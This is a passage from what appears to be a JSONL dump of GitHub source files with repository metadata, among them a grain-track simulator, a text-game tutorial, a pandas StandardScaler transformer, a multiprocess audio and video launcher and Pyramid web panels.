'theirs', remote_ref, check=False)\n\n revert_excluded_paths(merge_exclude, orig_head)\n\n if not resolve_all_merge_conflicts(conflict_resolution):\n print('Unable to merge, even with \"-X theirs\"')\n return 1\n\n with group(f'Commit changes to {git_head_branch()}'):\n if not git_merge_in_progress() and git_workdir_is_clean():\n if git_head_branch() == orig_head:\n print('Nothing to commit, working tree clean.')\n\n if delete_pr_branch:\n git_delete_remote_branch(pr_branch)\n\n return 0\n else:\n git_commit(f'chore({commit_scope}): {commit_description}')\n\n with group(f'Push {git_head_branch()} to {pr_branch}'):\n git_force_push(git_head_branch(), pr_branch)\n\n with group(f'Create pull request for {pr_branch}'):\n github_create_or_update_pull_request(\n base=orig_head,\n head=pr_branch,\n title=pr_title,\n body=f'This change integrates all commits from **{branch_or_tag}** '\n f'in the [{repository}]({repository_url}) repository.'\n )\n\n return 0\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n","repo_name":"growit-io/terragrunt-aws-poc","sub_path":".github/actions/remote-merge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17199,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"26891005214","text":"import numpy as np\r\nimport cv2\r\nimport os\r\nimport math\r\nimport random\r\nfrom matplotlib import pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport glob\r\nimport pickle\r\nimport sys\r\nimport json\r\n\r\n\r\nclass GrainGenator:\r\n def __init__(self):\r\n self.output_dir = \"\"\r\n self.id_dataset = 0\r\n self.n_tracks = [80, 80]\r\n self.param_minimum_distance = 0.2 # micron \r\n self.n_pixel_original = 2048\r\n self.n_divide = 8\r\n self.n_view = 1\r\n self.track_ranges_micron = [2.6, 5.2]\r\n self.sigma_track_range = 0.7 #micron\r\n self.distance_between_AgBr = 0.05 # this value is not accurate\r\n self.view_margin = 0.5 # micron\r\n self.n_noises_loc = 3\r\n self.n_noises_scale = 1\r\n self.n_max_grain_in_cluster = 5\r\n self.sigma_grain_in_cluster = 0.1\r\n self.thickness_boron = 0.200 # ~200nm\r\n self.thickness_protection = 0.060 # 2V101501, NiC:46nm + C:14nm\r\n self.thickness_noise = 0.008\r\n self.threshold_z = 0.3\r\n self.probability_development = [0.08, 0.15]\r\n self.max_slope = 0.00\r\n self.calc_secondary_parameters()\r\n\r\n self.list_view_track_grain = []\r\n self.list_generated_range = []\r\n self.list_xyz = []\r\n\r\n def calc_secondary_parameters(self):\r\n self.n_pixel = int(self.n_pixel_original / self.n_divide)\r\n self.view_size = 50 / 909 * self.n_pixel # 50micron=909pix\r\n self.depth_boron = self.thickness_boron + self.thickness_protection\r\n\r\n def load_parameters_from_json(self, jsonname):\r\n with open(jsonname) as f:\r\n params = json.load(f)\r\n for key, val in params.items():\r\n self.__dict__[key] = val\r\n self.calc_secondary_parameters() \r\n return\r\n\r\n def create_output_dir(self):\r\n self.int_param_minimum_distance = int(self.param_minimum_distance * 100) \r\n self.output_dir = f\"dist{self.int_param_minimum_distance:03d}_t{self.n_tracks[0]:03d}_t{self.n_tracks[0]:03d}_{self.id_dataset:02d}\"\r\n os.makedirs(f\"{self.output_dir}\", exist_ok=True)\r\n\r\n def get_root_point(self):\r\n root_x = np.random.uniform(0, self.view_size)\r\n root_y = np.random.uniform(0, self.view_size)\r\n root_z = np.random.uniform(-self.depth_boron, -self.thickness_protection)\r\n return root_x, root_y, root_z\r\n\r\n def generate_tracks_and_noises(self):\r\n self.n_image = self.n_view * self.n_divide * self.n_divide\r\n for i in range(self.n_image):\r\n print(f\"view {i} in {self.n_image}\")\r\n slope_dzdx = np.random.uniform(0, self.max_slope)\r\n slope_dzdy = np.random.uniform(0, self.max_slope)\r\n list_track_grain = []\r\n self.generate_tracks(list_track_grain, slope_dzdx, slope_dzdy)\r\n self.generate_noises(list_track_grain, slope_dzdx, slope_dzdy)\r\n self.list_view_track_grain.append(list_track_grain)\r\n\r\n def generate_tracks(self, list_track_grain, slope_dzdx, slope_dzdy):\r\n list_boundary_point = []\r\n n_track_in_this_image = np.random.uniform(self.n_tracks[0], self.n_tracks[1])\r\n probability_development_in_this_image = np.random.uniform(self.probability_development[0], self.probability_development[1])\r\n while len(list_track_grain) < n_track_in_this_image:\r\n xyz = create_uniform_sphere_xyz()\r\n xyz[2] = abs(xyz[2]) # z > 0\r\n track_range = random.choice(self.track_ranges_micron)\r\n track_range += random.gauss(0, self.sigma_track_range)\r\n #\r\n root_x = np.random.uniform(0, self.view_size)\r\n root_y = np.random.uniform(0, self.view_size)\r\n root_z = np.random.uniform(-self.depth_boron, -self.thickness_protection)\r\n #\r\n step = 0.0\r\n list_grain = []\r\n while step < track_range:\r\n this_x = root_x + xyz[0] * step\r\n this_y = root_y + xyz[1] * step\r\n this_z = root_z + xyz[2] * step\r\n if np.random.uniform(0, 1) < probability_development_in_this_image:\r\n if this_z > 0.0: # in emulsion layer\r\n this_z += root_x * slope_dzdx + root_y * slope_dzdy\r\n list_grain.append((this_x, this_y, this_z))\r\n step += self.distance_between_AgBr\r\n # end of loop for a track\r\n if len(list_grain) == 0:\r\n continue\r\n first_grain = list_grain[0]\r\n last_grain = list_grain[-1]\r\n if first_grain[0] < 0 + self.view_margin or self.view_size - self.view_margin < first_grain[0]:\r\n continue # because this point is out of effective X\r\n if first_grain[1] < 0 + self.view_margin or self.view_size - self.view_margin < first_grain[1]:\r\n continue # because this point is out of effective Y\r\n if last_grain[2] < self.threshold_z:\r\n continue\r\n #\r\n min_dist = 9999.9\r\n for b in list_boundary_point:\r\n this_distance = math.hypot(b[0] - first_grain[0], b[1] - first_grain[1])\r\n min_dist = this_distance if this_distance < min_dist else min_dist\r\n if min_dist < self.param_minimum_distance:\r\n continue # because too close\r\n #\r\n list_boundary_point.append(first_grain)\r\n list_track_grain.append({\"type\":\"t\", \"list_grain\":list_grain, \"root\":[root_x, root_y, root_z]})\r\n self.list_xyz.append(xyz)\r\n self.list_generated_range.append(track_range)\r\n\r\n def generate_noises(self, list_track_grain, slope_dzdx, slope_dzdy):\r\n n_noises = np.random.normal(loc = self.n_noises_loc, scale = self.n_noises_scale)\r\n n_noises = int(n_noises)\r\n for _ in range(n_noises):\r\n n_cluster = int( random.uniform(1, self.n_max_grain_in_cluster))\r\n root_x = np.random.uniform(0, self.view_size)\r\n root_y = np.random.uniform(0, self.view_size)\r\n root_z = np.random.uniform(0, self.thickness_noise)\r\n list_grain_noise = []\r\n for _ in range(n_cluster):\r\n this_x = root_x + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n this_y = root_y + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n this_z = root_z + np.random.normal(loc = 0, scale = self.sigma_grain_in_cluster)\r\n this_z += root_x * slope_dzdx + root_y * slope_dzdy\r\n list_grain_noise.append((this_x, this_y, this_z))\r\n list_track_grain.append({\"type\":\"n\",\"list_grain\":list_grain_noise})\r\n\r\n def dump_pickle_file(self, pickle_name=\"grains.pickle\"):\r\n with open(f\"{self.output_dir}/{pickle_name}\", 'wb') as p:\r\n pickle.dump(self.list_view_track_grain, p)\r\n\r\n def dump_parameters_as_json_file(self, json_name=\"parameters.json\"):\r\n output_json = self.__dict__\r\n output_json.pop(\"list_view_track_grain\")\r\n output_json.pop(\"list_xyz\")\r\n output_json.pop(\"list_generated_range\")\r\n with open(f\"{self.output_dir}/{json_name}\", 'w') as f:\r\n json.dump(output_json, f, ensure_ascii=False, indent=4) \r\n\r\n\r\n# this function returns n_random of (x,y,z) unit isotropic vector\r\ndef create_uniform_sphere_xyz():\r\n while True:\r\n xyz = np.random.normal(\r\n loc = 0,\r\n scale = 1,\r\n size = 3)\r\n if abs(xyz[2]) < 0.001:\r\n continue\r\n norm = np.linalg.norm(xyz, ord=2)\r\n if abs(norm) < 0.001:\r\n continue\r\n x,y,z = xyz / norm\r\n return [x,y,z]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n flag_debug = True\r\n if flag_debug:\r\n json_name = \"maskrcnn_create_3d_simulated_grains_parameters.json\"\r\n n_tracks = [80, 80]\r\n id_dataset = 5\r\n else:\r\n args = sys.argv\r\n json_name = args[1]\r\n n_tracks = int(args[2])\r\n id_dataset = int(args[3])\r\n\r\n gg = GrainGenator()\r\n gg.n_tracks = n_tracks\r\n gg.id_dataset = id_dataset\r\n gg.load_parameters_from_json(json_name)\r\n\r\n gg.create_output_dir()\r\n\r\n gg.generate_tracks_and_noises()\r\n\r\n gg.dump_pickle_file(\"grains.pickle\")\r\n gg.dump_parameters_as_json_file(\"parameters.json\")\r\n\r\n","repo_name":"AbdulMuneem25/AbdulMuneem25","sub_path":"maskrcnn_create_3d_simulated_grains.py","file_name":"maskrcnn_create_3d_simulated_grains.py","file_ext":"py","file_size_in_byte":8377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26971317921","text":"# original code\n\"\"\"\ndef get_sum_metrics(predictions, metrics=[]):\n for i in range(3):\n metrics.append(lambda x: x + i)\n\n sum_metrics = 0\n for metric in metrics:\n sum_metrics += metric(predictions)\n\n return sum_metrics\n\"\"\"\n\n# issues: it looks like the course developers just took the two examples from this booK: https://docs.python-guide.org/writing/gotchas/\n\n# first issues is that since it is function's default argument, the new list \"metrics\" is created ONCE (when the function is defined), \n# you might not notice it if you call the function just one time, but every call after the first one will keeps appending to the SAME list;\n# to fix, we need to create a new objest each time the function is called with no metrics argument passed.\n\n# second issues is that the append function doesn't have any variable called i in its own scope, \n# so it checks the surrounding scope at call time (in for metric in metrics loop); \n# by then, the for loop has completed and i is left with its final value of 2.\n\n\n# fixed code\n\ndef get_sum_metrics(predictions, metrics=None):\n if metrics is None:\n metrics = []\n for i in range(3):\n metrics.append(lambda x, y=i: x+y)\n\n sum_metrics = 0\n for metric in metrics:\n sum_metrics += metric(predictions)\n\n return sum_metrics\n \n \ndef main():\n print(get_sum_metrics(0)) # Should be (0 + 0) + (0 + 1) + (0 + 2) = 3\n print(get_sum_metrics(1)) # Should be (1 + 0) + (1 + 1) + (1 + 2) = 6\n print(get_sum_metrics(2)) # Should be (2 + 0) + (2 + 1) + (2 + 2) = 9\n print(get_sum_metrics(3, [lambda x: x])) # Should be (3) + (3 + 0) + (3 + 1) + (3 + 2) = 15\n print(get_sum_metrics(0)) # Should be (0 + 0) + (0 + 1) + (0 + 2) = 3\n print(get_sum_metrics(1)) # Should be (1 + 0) + (1 + 1) + (1 + 2) = 6\n print(get_sum_metrics(2)) # Should be (2 + 0) + (2 + 1) + (2 + 2) = 9\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shcherbukha/MITx-6.86x","sub_path":"unit_0/proj_0/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24995693152","text":"from Classes import *\nfrom Functions import *\nfrom Character_Enemies import *\nfrom Save import *\nfrom Tutorial_save import *\nfrom Lists import *\nimport time, os\n\ndef t(number):\n time.sleep(number)\ndef pr(stri):\n print(stri)\n print(\"\")\ndef di(stri):\n print(f\"You: {stri}\")\n print(\"\")\ndef i(stri):\n input(stri)\ndef tu(Instruction):\n print(\"\")\n input(f\"TUTORIAL TIP: {Instruction} Press [ENTER] to continue: \")\n print(\"\")\ndef note(stri):\n input(\"PLEASE NOTE: \" + stri + \" Press enter to continue: \")\n print(\"\")\ndef tc(stri):\n print(stri)\n print(\"\")\n time.sleep(4)\n\ndef write(intro, menu, hunt):\n f = open(\"files\\Tutorial_save.py\", \"w\")\n f.write(\"intro = \" + str(intro) + \"\\n\" + \"menu = \" + str(menu) + \"\\n\" + \"hunting = \" + str(hunt))\n f.close()\n\nif intro == False:\n t(3)\n pr(\"Silence...\")\n t(3)\n pr(\"Your eyes are wide open...\")\n t(3)\n di(\"That was a strange dream\")\n t(3)\n di(\"But it's time to wake up now.\")\n t(3)\n pr(\"Welcome to Ground Zero, the land of power...\")\n t(3)\n input(\"TUTORIAL TIP: Press [ENTER] to continue: \")\n t(2)\n i(\"Humanity has moved on.\")\n i(\"Technology is no more.\")\n i(\"Only the Zero Energy remains\")\n pr(\"\")\n pr(\"You walk out side to place a wooden sign on your yard.\")\n pr(\"The sign reads '\" + name + \" owns this farm'.\")\n pr(\"\")\n t(3)\n di(\"Time to go hunting now.\")\n write(True, False, False)\n t(3)\n\nif menu == False:\n tu(\"Option menus (such as the one coming up) are what are going to be used to navigate the areas found throughout the game.\")\n tu(\"Right now, we will learn how to hunt, which is the basic way to grind XP.\")\n note(\"The way I designed this is janky, so expect at least 1 small bug, nothing game breaking though :D.\")\n loop = True\n while loop == True:\n pr(\"\")\n tu(\"CHOOSE THE HUNT OPTION.\")\n for op in home:\n print(op)\n i = input(\"Type in the number corrosponding to your choice: \")\n pr(\"\")\n if i == \"1\":\n print(\"It seems your wardrobe is empty\")\n elif i == \"2\":\n print(\"It seems you have all your weapons equipped.\")\n elif i == \"3\":\n print(\"Complete the tutorial before proceeding to the main world.\")\n elif i == \"4\":\n loop = False\n t(2)\n write(True, True, False)\n\nif hunting == False:\n tu(\"Hunting is the most basic way to grind XP in this game, so we'll first learn how to do that.\")\n tu(\"In Legend of the Secret, hunting is based on RNG (meaning it is Randomised), later on you'll find weapons that increase your hunting luck.\")\n note(\"Because this is a tutorial, the hunting system here is scripted and not randomised, because I was too lazy to develop the system, but don't worry, the system in the actual game is RNG, yay gambling!\")\n tu(\"Hunting takes a small amount of gold per session, by that I mean [5] gold per session.\")\n tu(\"Now, let's start with the hunting!\")\n loop = True\n while loop == True:\n i = input(\"Press [ENTER] to enter the hunting grounds (press N to exit): \")\n if i == \"n\" or i == \"N\":\n print(\"Sorry, you can't do that during the tutorial, sorry :(.\")\n t(3)\n else:\n loop = False\n\n input(\"You caught a [Basic Fawn]! Gained [10] gold. Made back [5] gold. Press [ENTER] to continue: \")\n print(\"\")\n input(\"Press [ENTER] to enter the hunting grounds (press N to exit): \")\n print(\"\")\n input(\"Grounds Officer: Sorry kid, times up, the hunting grounds are closing.\")\n t(1)\n print(\"\")\n di(\"Damn, okay I guess, I'll just come back tomorrow.\")\n t(3)\n input(\"Grounds Officer: Thanks for understanding.\")\n print(\"\")\n t(2)\n tc(\"You were returning home...\")\n tc(\"So now it's time...\")\n tc(\"It's time...\")\n tc(\"It's time to move on...\")\n tc(\"It's time to open your eyes...\")\n os.startfile(\"files\\Dialoges.py\")","repo_name":"youful3/Legend-of-the-Secret","sub_path":"files/Tutorial.py","file_name":"Tutorial.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17473643553","text":"\"\"\"\n File: test_compute.py\n Description: pytest tests on the calaculate.py module \n \n\"\"\"\nimport pytest\nimport math\nfrom calculator import Calculator \n\n\n## complex problem and answer\ncomplx = '(((10.2*3)/(3+4))) + 66/(7*%s)' % math.pi\nanswer = 7.3726360697328825\n\n## list of (problem, answer) tuples to be used in parameterization input\nPARAM_TUPS = [ \n ('2+2', 4.0), ## simple add\n ('(10-4)', 6.0), ## simple subtract \n ('22.6*2', 45.2), ## simple mult \n ('5/2', 2.5), ## simple division \n (complx, answer) ## complicated \n]\n\n##------------------------------------------------------------------------\n@pytest.mark.parametrize(\"input_problem, exp_answer\", PARAM_TUPS)\ndef test_compute(input_problem, exp_answer):\n \"\"\" \n Test computuation of various math operations from parameterized input\n \"\"\" \n calc = Calculator({})\n answer = calc.compute(input_problem)\n assert (answer == exp_answer) \n","repo_name":"bfanselow/CaaS","sub_path":"tests/unit/test_compute.py","file_name":"test_compute.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10979233041","text":"'''\r\npurpose_: Custom Transformer Standard Scaler\r\nauthor_: Sanjay Seetharam\r\nstatus_: development\r\nversion_: 1.0\r\n'''\r\n\r\nfrom sklearn.base import TransformerMixin, BaseEstimator\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nclass StandardScaler(BaseEstimator, TransformerMixin):\r\n '''Perform Z-score normalisation\r\n\r\n Parameters\r\n ----------\r\n columns_to_be_applied: Column to Standardise\r\n\r\n Returns\r\n -------\r\n standardised array\r\n '''\r\n\r\n def __init__(self, columns_to_be_applied, ignore_nan = False) -> object:\r\n\r\n # Check if the Argument passed is List\r\n if not isinstance(columns_to_be_applied, list):\r\n raise ValueError(\"The StandardScaler is expecting a list of strings with\" \r\n \"the column names to be applied.\")\r\n\r\n # Check if the Argument contains string\r\n if not all([isinstance(item, str) for item in columns_to_be_applied]):\r\n raise ValueError(\r\n \"The StandardScaler is expecting a list of strings 'columns_to_be_applied'.\"\r\n \"At least one of the items was not a string.\"\r\n )\r\n\r\n # Check condition boolean for ignore_nan\r\n if not isinstance(ignore_nan, bool):\r\n raise ValueError(\"The StandardScaler is expecting the \"\r\n \"argument 'ignore_nan' to be boolean.\")\r\n\r\n self.columns_to_be_applied = columns_to_be_applied # Features\r\n self.mean_value_df = None # Mean of Vector\r\n self.sd_value_df = None # Standard Deviation of Vector\r\n self.ignore_nan = ignore_nan # Condition for NaN\r\n \r\n @staticmethod\r\n def __standard_scaler(mean_value, sd_value) -> float:\r\n '''feature standardisation\r\n\r\n Parameters\r\n ----------\r\n mean_value: float;\r\n mean of feature vector\r\n\r\n sd_value: float;\r\n standard deviation of feature vector\r\n\r\n Returns\r\n -------\r\n scaler: float;\r\n standardised value\r\n\r\n '''\r\n def scaler(x):\r\n '''\r\n standardised_value =\r\n feature_vector - mean(feature_vector) / standard_deviation(feature_vector)\r\n '''\r\n return (x - mean_value) / sd_value\r\n return scaler\r\n\r\n @staticmethod\r\n def check_if_argument_is_pd_df(X):\r\n '''Check if Argument is Pandas DataFrame\r\n\r\n Parameters\r\n ---------\r\n X: array-like of shape (n_samples, n_features)\r\n Input Samples\r\n\r\n Returns\r\n ------\r\n Boolean;\r\n If False, raise error with a message\r\n\r\n '''\r\n if not isinstance(X, pd.DataFrame):\r\n raise RuntimeError(\"The argument expected should be pandas dataframe.\")\r\n\r\n def fit_transform(self, X, y = None, **fit_params):\r\n ''' Fit to data, then transform it\r\n\r\n Parameters\r\n ----------\r\n X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n Input Sample\r\n\r\n y: array-like of shape (n_samples) or (n_samples, n_outputs), default = None\r\n Target Values. Return None for unsupervised \r\n\r\n **fit_params: dict\r\n Additional fitting parameters\r\n\r\n Returns\r\n -------\r\n Transformed Array\r\n\r\n '''\r\n self.fit(X)\r\n return self.transform(X)\r\n\r\n @staticmethod\r\n def input_df_checks(X, columns_to_be_applied, is_fitting = True):\r\n '''Perform data checks\r\n\r\n Parameters\r\n ----------\r\n X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n Input Sample\r\n\r\n columns_to_be_applied: array\r\n Feature\r\n\r\n is_fitting: boolean\r\n if true; \"fitting\"\r\n else; \"transforming\"\r\n\r\n '''\r\n StandardScaler.check_if_argument_is_pd_df(X)\r\n\r\n # Check if the columns exist inside the pandas dataframe\r\n if not all([item in X.columns for item in columns_to_be_applied]):\r\n raise RuntimeError(\r\n f\"The dataframe passed for {'fitting' if is_fitting else 'transforming'}\"\r\n \"does not contain all the required columns specified in the\"\r\n \"initialisation of the object.\"\r\n )\r\n\r\n # Check if the columns contain numeric values:\r\n if not (\r\n X[columns_to_be_applied].shape[1] == \r\n X[columns_to_be_applied].select_dtypes(include = np.number).shape[1]\r\n ):\r\n raise RuntimeError(\r\n \"The required columns for scaling are not numeric!\"\r\n )\r\n\r\n def fit(self, X, y = None):\r\n '''Compute mean and standard deviation to be used for later standardising\r\n\r\n Parameters\r\n ----------\r\n X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n Input Sample\r\n\r\n y: None\r\n Ignored\r\n\r\n Returns\r\n -------\r\n object;\r\n Fitted Scaler\r\n '''\r\n self.input_df_checks(X, self.columns_to_be_applied, False)\r\n if (not self.ignore_nan) and X[self.columns_to_be_applied].isnull().values.any():\r\n raise ValueError(\"in the required columns there are nan values!\")\r\n\r\n self.mean_value_df = {}\r\n self.sd_value_df = {}\r\n\r\n for col in self.columns_to_be_applied:\r\n self.mean_value_df[col] = X.loc[X[col].notna(), [col]].mean()\r\n self.sd_value_df[col] = X.loc[X[col].notna(), [col]].std()\r\n\r\n def transform(self, X, y = None):\r\n '''Standardise features of X\r\n\r\n Parameters\r\n ----------\r\n X: (array-like, sparse matrix) of shape (n_samples, n_features)\r\n Input Sample\r\n\r\n y: None\r\n Ignored\r\n\r\n Returns\r\n -------\r\n X: (array-like, sparse matrix)\r\n Transformed data\r\n '''\r\n\r\n self.input_df_checks(X, self.columns_to_be_applied, False)\r\n for col in self.columns_to_be_applied:\r\n X.loc[:, [col]] = X[col].apply(\r\n StandardScaler.__standard_scaler(\r\n self.mean_value_df[col],\r\n self.sd_value_df[col]\r\n )\r\n )\r\n\r\n return X\r\n ","repo_name":"maverick-escape-ordinary-coding/custom_data_transformers","sub_path":"transformers/scaling/StandardScaler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34222274885","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom setuptools import setup\nfrom setuptools import find_packages\n\nimport io\n\nfrom os.path import dirname\nfrom os.path import join\n\n\n__version__ = None\nwith open('sar_pre_processing/version.py') as f:\n exec(f.read())\n\ndef read(*names, **kwargs):\n with io.open(\n join(dirname(__file__), *names),\n encoding=kwargs.get('encoding', 'utf8')\n ) as fh:\n return fh.read()\n\nwith open('docs/requirements.txt') as ff:\n required = ff.read().splitlines()\n\nsetup(name='multiply-sar-pre-processing',\n version=__version__,\n description='MULTIPLY SAR Pre-Processing',\n long_description=read('README.md'),\n license='GNU license',\n author='MULTIPLY Team',\n author_email='weiss.thomas@lmu.de',\n url='https://github.com/multiply-org/sar-pre-processing',\n packages=['sar_pre_processing', 'sar_pre_processing.default_graphs'],\n install_requires=required,\n package_data={'sar_pre_processing.default_graphs': ['pre_process_step1.xml', 'pre_process_step1_border.xml',\n 'pre_process_step2.xml', 'pre_process_step3.xml', 'pre_process_step3_single_file.xml']\n },\n include_package_data=True,\n)\n","repo_name":"multiply-org/sar-pre-processing","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"3"}
+{"seq_id":"30523382312","text":"import subprocess\nimport sys\nimport argparse\nimport os \nfrom multiprocessing import Pool \n \n \nprocesses = ('just_video.py', 'just_audio.py', \"base_sound.py\",\"recording_environment.py\",\"video_audio.py\") \n\ndef run_process(process): \n os.system('python3 {}'.format(process)) \n\n\ndef program_config(): \n parser = argparse.ArgumentParser(description='''TO RUN: if using python3, from src: python3 main.py -a \"whatever argument\"\n --------------------------------\n This script runs several parallel processes at the same time and\n shares memory between 2 of them. The real-time image-capturing script captures the area of hand each frame,\n storages it in memory and overwrites it continuously. The audio script reads that memory (when is not being written) and translates\n it into music. The other parallel scripts deliver other tasks (background music, recording the environment, etc)\n <=======> There is a multiprocess option between 2 scripts: The father process captures an area in a \n frame and stop, the child process (tone) play a sound, the father captures another frame and the cycle \n starts again. This is a python multiprocess under 3 parallel linux shell multiprocesses.''')\n\n parser.add_argument('-a',\n help='''\n Select: [ t / b / r / m]. \n t = Test, give it a try. \n b = with Background drumset.\n r = Recording from microphone your music and environment\n m = using Multiprocess architecture, enjoy it. \n u = Upgrading stuff (for developers).\n ''',\n default=\"t\"\n ) \n \n args = parser.parse_args()\n return args\n\ndef main(): \n config=program_config()\n print(\"Selected: \", config.a)\n\n if config.a=='t':\n\n print('''Starting Test. \n \\n Sharing memory between video and audio script while parallel running. 2 scripts''')\n #subprocess.run(\"python3 just_video.py & python3 just_audio.py\", shell=True) #this is how it worked before\n pool = Pool(processes=3) \n pool.map(run_process, processes[0:2]) \n \n elif config.a==\"b\": \n print('''Starting with Background drums. \n \\n Sharing memory between video and audio script while parallel running. 3 scripts''')\n pool = Pool(processes=3) \n pool.map(run_process, processes[0:3])\n\n elif config.a==\"r\":\n print('''Do it awesome you funky beast. From now I am recording. \n \\n Sharing memory between video and audio script while parallel running. 4 scripts''')\n pool = Pool(processes=4)\n pool.map(run_process, processes[0:4])\n elif config.a==\"m\":\n print(\"Now using subprocesses from the multiprocess library\")\n pool= Pool(processes=2)\n pool.map(run_process,[processes[2], processes[4]])\n\nif __name__==\"__main__\":\n main()\n","repo_name":"albertovpd/hand_dance","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38023581047","text":"import json\nfrom random import choice\n\nfrom pydantic import BaseModel # pylint: disable=no-name-in-module\n\nfrom core.libs.notifications.email import (\n EmailMessage,\n EmailTemplate,\n email_get_application_context,\n)\n\n\nclass SendParticipantPreparationEmailParams(BaseModel):\n \"\"\"Params\"\"\"\n\n application_id: int\n email: str\n assets_url: str\n\n\ndef params(email: str, application_id: int, assets_url: str) -> str:\n \"\"\"Create params\"\"\"\n json_dump = json.dumps(\n SendParticipantPreparationEmailParams(\n email=email, application_id=application_id, assets_url=assets_url\n ).dict()\n )\n return json_dump\n\n\ndef send_participant_preparation_email(\n procedure_params: SendParticipantPreparationEmailParams,\n):\n \"\"\"Send participant confirmation email after application has been sent\"\"\"\n email_template = EmailTemplate(\n \"email/EmailParticipantPreparation.html\",\n {\n **email_get_application_context(procedure_params.application_id),\n \"assets_url\": procedure_params.assets_url,\n },\n )\n email_message = EmailMessage(\n email_template,\n choice(\n [\n \"Potwierdzamy termin szkolenia\",\n \"Termin szkolenia został potwierdzony\",\n ]\n ),\n procedure_params.email,\n )\n email_message.send()\n","repo_name":"rolzwy7/wykladowcav2","sub_path":"src/core/tasks/send_participant_preparation_email/procedure.py","file_name":"procedure.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16516554917","text":"import os\nfrom PIL import Image\nimport math\n\n\ndef calc_width_height(width, height, min_size, zoom_rate):\n w = int(width * zoom_rate)\n h = int(height * zoom_rate)\n if w * h < min_size:\n w = int(math.sqrt(min_size * w / h))\n h = int(min_size / w)\n return (w, h)\n\n\ndef process_file(src_file, dst_file, min_size, zoom_rate):\n with Image.open(src_file) as img:\n original_width, original_height = img.size\n (dst_width, dst_height) = calc_width_height(original_width, original_height, min_size, zoom_rate)\n img.thumbnail((dst_width, dst_height))\n img.save(dst_file, quality=100)\n\n\ndef process_dir(dir_name, sub_dir_name, zoom_rate):\n num = 0\n min_width = int(7360 * zoom_rate)\n min_height = int(4912 * zoom_rate)\n min_size = min_width * min_height\n sub_dir = dir_name + os.sep + sub_dir_name\n if not os.path.exists(sub_dir):\n os.mkdir(sub_dir)\n for p, _, files in os.walk(dir_name):\n if p != dir_name:\n continue\n for f in files:\n if f.lower().endswith(\".jpg\") or f.lower().endswith(\".png\"):\n src_file = p + \"/\" + f\n dst_file = sub_dir + \"/\" + f\n print(f\"Processing file '{f}' ...\")\n process_file(src_file, dst_file, min_size, zoom_rate)\n num = num + 1\n return num\n","repo_name":"windless0530/submodule-test-app","sub_path":"image_convert/convertBase.py","file_name":"convertBase.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41212608326","text":"from pyramid_layout.panel import panel_config\nfrom resume.libs.path import base\nfrom os.path import join\nfrom ..models import User\n\n@panel_config(name='navbar', renderer='templates/panels/navbar.jinja2')\ndef navbar(context, request):\n return {}\n\n@panel_config(name='footer', renderer='templates/panels/footer.jinja2')\ndef footer(context, request):\n\n with open(join(base, 'VERSION.txt')) as f:\n version = f.read()\n return {'version': version}\n\n\n@panel_config(name='menu', renderer='templates/panels/menu.jinja2')\ndef menu(context, request):\n def nav_item(name, path, items=[]):\n active = any([item['active'] for item in items]) if items else request.path == path\n\n item = dict(\n name=name,\n path=path,\n active=active,\n items=items\n )\n\n return item\n\n items = []\n # items.append(nav_item('resume', '#', [nav_item(name, request.route_path(name)) for name in ['resume_list','resume_edit']]))\n items.append(nav_item('resume', '#',\n [nav_item('edit_profile', request.route_path('edit_profile')),\n nav_item('resume_list', request.route_path('resume_list')),\n nav_item('resume_edit', request.route_path('resume_edit', id=request.authenticated_userid))] ))\n if not request.authenticated_userid:\n items.append(nav_item('user_manu', '#', [nav_item(name, request.route_path(name)) for name in ['login','register']]))\n else:\n items.append(nav_item('logout {}'.format(User.objects(id=request.authenticated_userid).first().first_name),\n request.route_path('logout')) )\n\n return {'items': items}\n\n\n@panel_config(name='flash_message', renderer='templates/panels/flash_message.jinja2')\ndef flash_message(context, request):\n return {}\n\n\n@panel_config(name='pagination', renderer='templates/panels/pagination.jinja2')\ndef pagination(context, request, current_page, total_page):\n return {'current_page': current_page, 'total_page': total_page}\n\n\n@panel_config(name='back_to_top', renderer='templates/panels/back_to_top.jinja2')\ndef back_to_top(context, request):\n return {}\n\n","repo_name":"sahama/resume_managment_system","sub_path":"resume/views/panels.py","file_name":"panels.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
